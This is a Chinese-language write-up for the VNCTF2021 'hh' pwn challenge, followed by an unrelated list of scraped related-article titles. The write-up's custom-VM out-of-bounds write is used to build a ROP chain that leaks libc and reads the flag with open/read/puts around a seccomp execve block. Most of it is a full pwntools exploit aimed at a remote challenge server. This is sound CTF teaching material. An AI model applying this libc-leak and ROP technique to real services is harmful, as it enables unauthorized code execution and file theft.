pwn-hh

在ida中查看,先输入somethings然后去exec_code。

看到使用了prctl,使用seccomp-tools查看,屏蔽了execve,可以构造ORW

kali@kali:~/ctf/pwn/ti/hh$ seccomp-tools dump ./hhline  CODE  JT   JF      K
=================================0000: 0x20 0x00 0x00 0x00000004  A = arch0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 00070002: 0x20 0x00 0x00 0x00000000  A = sys_number0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 00050004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 00070005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 00070006: 0x06 0x00 0x00 0x7fff0000  return ALLOW0007: 0x06 0x00 0x00 0x00000000  return KILL

exec_code,自定义的虚拟机,9的话是push, 0xa b  可以越界读  0xc d可以越界写。

使用push和越界写,构造rop,先泄露libc,再构造orw。

exp:

#encoding=utf-8
#自定义虚拟机
from pwn import *
context(os='linux',arch='amd64')
#context.log_level = 'debug'
path='/home/kali/ctf/pwn/ti/hh/'
#r = process(path+'hh')
#r = process([path+"ld-2.23.so",path+'hh'],env={"LD_PRELOAD":path+'libc.so.6'})
r = remote('node3.buuoj.cn',25897)
elf = ELF(path+'hh')
libc = ELF(path+'libc.so.6')
poprdi_addr = 0x4011A3
#poprsi_addr = 0x4011A1
main_addr = 0x401084
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']def addrop(val):   global idx,payloadpayload+=p32(vpush)+p32(val&0xffffffff)+p32(vstore)+p32(idx)idx+=1payload+=p32(vpush)+p32((val>>32)&0xffffffff)+p32(vstore)+p32(idx)idx+=1
vpush  = 0x9
vstore = 0xd
#puts put_addr
payload=b''
idx=(0x1F50+0x8)//4
addrop(poprdi_addr)
addrop(puts_got)
addrop(puts_plt)
addrop(main_addr)
r.sendlineafter('Give me you choice :\n', '1')
r.sendlineafter('code:', payload)
r.sendlineafter('Give me you choice :\n', '2')#puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
puts_addr=u64(r.recvline().rstrip().ljust(8,b'\x00'))
print("puts_addr:"+hex(puts_addr))base_addr= puts_addr - libc.symbols['puts']
print("base_addr:"+hex(base_addr))
open_addr=base_addr+ libc.symbols['open']
read_addr=base_addr+ libc.symbols['read']
write_addr=base_addr+ libc.symbols['write']
poprdx_addr  = base_addr + 0x0000000000001b92
pushrax_addr = base_addr + 0x0000000000010f40
poprsi_addr  = base_addr + 0x00000000000202f8# open("flag", 0);
# read(3, buf, 64);
# write(1, buf, 64);
# puts(buf)buf_addr = 0x602060 payload=b''
idx=(0x1F50+0x8)//4
flag_addr_off = 480
rbuf_addr = buf_addr+flag_addr_off+4
#read('flag', 0?2)
addrop(poprdi_addr)
addrop(buf_addr+flag_addr_off+4)
addrop(poprsi_addr)
addrop(0x0)
addrop(open_addr)#read(3, buf, 64)
addrop(poprdi_addr)
addrop(3)
addrop(poprsi_addr)
addrop(rbuf_addr)
addrop(poprdx_addr)
addrop(64)
addrop(read_addr)
'''
#write(1, buf, 64) p64(poprdi_addr)+ p64(2)+p64(poprsi_addr)+ p64(bss())+p64(poprdx_addr)+ p64(10)+p64(read_addr)
addrop(poprdi_addr)
addrop(1)
addrop(poprsi_addr)
addrop(rbuf_addr)
addrop(poprdx_addr)
addrop(64)
addrop(write_addr)
'''
##puts:(buf) p64(poprdi_addr)+ p64(buff_addr)+p64(put_addr)
addrop(poprdi_addr)
addrop(rbuf_addr)
addrop(puts_plt)
print('flag_addr_off:'+str(len(payload)))
payload+=p32(16)+p32(0x67616c66)+p32(0) #flag数据,地址可以计算,在前面填入#gdb.attach(r, 'b *0x4011A3')
r.sendlineafter('Give me you choice :\n', '1')
r.sendlineafter('code:', payload)
r.sendlineafter('Give me you choice :\n', '2')
r.interactive()

VNCTF2021 几个题解writeup相关推荐

  1. 攻防世界web新手区easyphp题解writeup

    写在前面 最近在学习CTF web相关知识,顺带学习php,在攻防世界平台上做做题.遇到了一道名为easyphp的题目,对我这个新手一点也不easy,于是决定把过程记录下来. 参考了官网上shuita ...

  2. SWPUCTF2019web题复现

    [SWPU2019]web1-easy_web 有一个登录框,试了试万能密码失败,那就注册吧 登录后发现有一个申请广告,在标题处输入11111111',发现报错,应该是sql注入 禁用了or,空格等等 ...

  3. 【CTF WriteUp】网鼎杯 青龙组 Misc题解复现(整理,WP非原创)

    (原本还打算四场Crypto全刷的,结果第四场被教做人了,算了整理点别的当补偿了) (另:求白虎组 Misc-boot 的 WP) Misc 虚幻2 图片在RGB信道各有一张图,提出来 R: G: B ...

  4. PWN random [pwnable.kr]CTF writeup题解系列6

    目录 0x01 题目 0x02 解题思路 0x03 题解 0x01 题目 0x02 解题思路 题目比较简单,直接贴出过程 root@mypwn:/ctf/work/pwnable.kr# ssh ra ...

  5. PWN input [pwnable.kr]CTF writeup题解系列7

    目录 0x01题目 0x02解题思路 0x03题解 0x01题目 0x02解题思路 先连接到服务器看下情况 root@mypwn:/ctf/work/pwnable.kr# ssh input2@pw ...

  6. PWN lotto [pwnable.kr]CTF writeup题解系列10

    目录 0x01题目 0x02解题思路 0x03题解 0x01题目 0x02解题思路 下载文件,检查一下情况 root@mypwn:/ctf/work/pwnable.kr# ssh lotto@pwn ...

  7. PWN uaf [pwnable.kr]CTF writeup题解系列13

    目录 0x01题目 0x02解题思路 0x03题解 0x01题目 0x02解题思路 题目都已经介绍了这是一道Use After Free的题目,那我们就不用多想了,先看看题目主要内容 root@myp ...

  8. 【CTF WriteUp】UTCTF 2020部分题解

    看大佬们不屑于写这种比赛的WP,那就我这个菜鸡来献丑了 Crypto [basics] crypto 先把1和0转成ascii Uh-oh, looks like we have another bl ...

  9. 【CTF WriteUp】2020全国工业互联网安全技术技能大赛(原护网杯)Crypto题解

    Crypto signsystem 题目 task.py from Crypto.Util.number import getPrime, bytes_to_long from gmpy2 impor ...

  10. 【CTF WriteUp】2020电信和互联网行业赛个人赛部分Crypto题解

    Crypto (话说题目做一半就当答案是什么鬼) Crypto-bacon 题目 flag{AAAABAAAAAAAABAABBBAABBABABAAABAABAAAABBAABAAABABBABAA ...

最新文章

  1. 开启Mysql慢查询来优化mysql
  2. kali桥接模式无法上网_听没听过用手机接路由器上网?
  3. PAT甲级题目翻译+答案 AcWing(字符串处理)
  4. 斯坦福大学机器学习课程资料-吴恩达老师主讲(2008版)
  5. D:Ehab the Xorcist
  6. (转)关于X64位系统IIS7下支持32位asp.net程序
  7. B站COO李旎:超2000万人在B站看纪录片
  8. Word2vector原理
  9. Java类加载机制--类加载过程(加载)
  10. java环信后端接口
  11. Revit二开 VS附加Revit时闪退程序
  12. english words
  13. canvas设置大小
  14. ufo帧率测试网站_手机相机拍摄的视频帧率的测试方法
  15. ai人工智能测面相 准吗_金融界的AI:如何最终开始相信自己的回测[1/3]
  16. mysql 投影运算_数据库查询 - 通俗易懂解释:选择、投影、并、差、笛卡尔积、连接 - 小黑电脑...
  17. docker 命令大全
  18. NXP的S32K系列MCU怎么样?
  19. 员工人事档案所需资料
  20. core开发linux桌面应用,【.NET Core 跨平台 GUI 开发】第一篇:编写你的第一个 Gtk# 应用...

热门文章

  1. 2021年焊工(初级)报名考试及焊工(初级)新版试题
  2. GS运维常用工具及文档
  3. Mac 安装 idb 和 idb_companion
  4. php搜索银行所在支行,多家银行宣布启动社区支行战略但风光不再
  5. 有时候你只是看起来很努力
  6. 属于程序员的“高考”考题,我估计没准还有很多人没有看过(建议不要收藏)
  7. ffmpeg+mencoder环境搭建和视频处理总结(4m/1/99)
  8. 2017先给自己定一个小目标,比方说先挣一个亿
  9. mysql数据库安全开关_对MySQL数据库的安全进行的详述
  10. 在一所普通211高校读本科在TOP2高校读研究生的感触